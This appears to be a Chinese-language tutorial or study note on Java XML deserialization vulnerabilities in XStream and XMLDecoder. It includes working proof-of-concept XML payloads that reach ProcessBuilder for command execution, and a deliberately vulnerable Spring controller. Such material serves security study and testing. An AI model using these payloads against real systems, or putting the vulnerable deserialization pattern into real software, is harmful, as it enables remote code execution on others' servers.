XStream反序列化原理
XStream将对象和xml字符串之间进行转换。
Object <=> XML字符串
XStream#toXML(Object o) // 对象=> xml
XStream#fromXML(FileInputStream xml) // xml => 对象
XStream反序列化漏洞
影响范围
1.4.x<=1.4.6或1.4.10。
原理
XStream是自己实现的一套序列化和反序列化机制,所以跟Java原生的反序列化有所区别。
XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。
PoC
执行多条命令:
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/C</string>
<string>md</string>
<string>mi1k7ea</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
参考
XMLDecoder反序列化
参考:
https://blog.csdn.net/SKI_12/article/details/85058040
深入分析原理参考:
WebLogic 安全研究报告
PoC
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start" />
</object>
</java>
实际测试发现不加version和class属性也可以成功。如果要使用多个参数的payload,需要将array标签的length字段设置为具体长度即可。
对应的漏洞代码:
@RestController
public class XmlDecoderRCE {
/**
* @author shadowsock5 @2020-03-16
*/
@PostMapping("/XmlDecoder")
public String parseXml(HttpServletRequest request) throws Exception{
InputStream in = request.getInputStream();
XMLDecoder d = new XMLDecoder(in);
Object result = d.readObject(); //Deserialization happen here
return "xstream";
}
}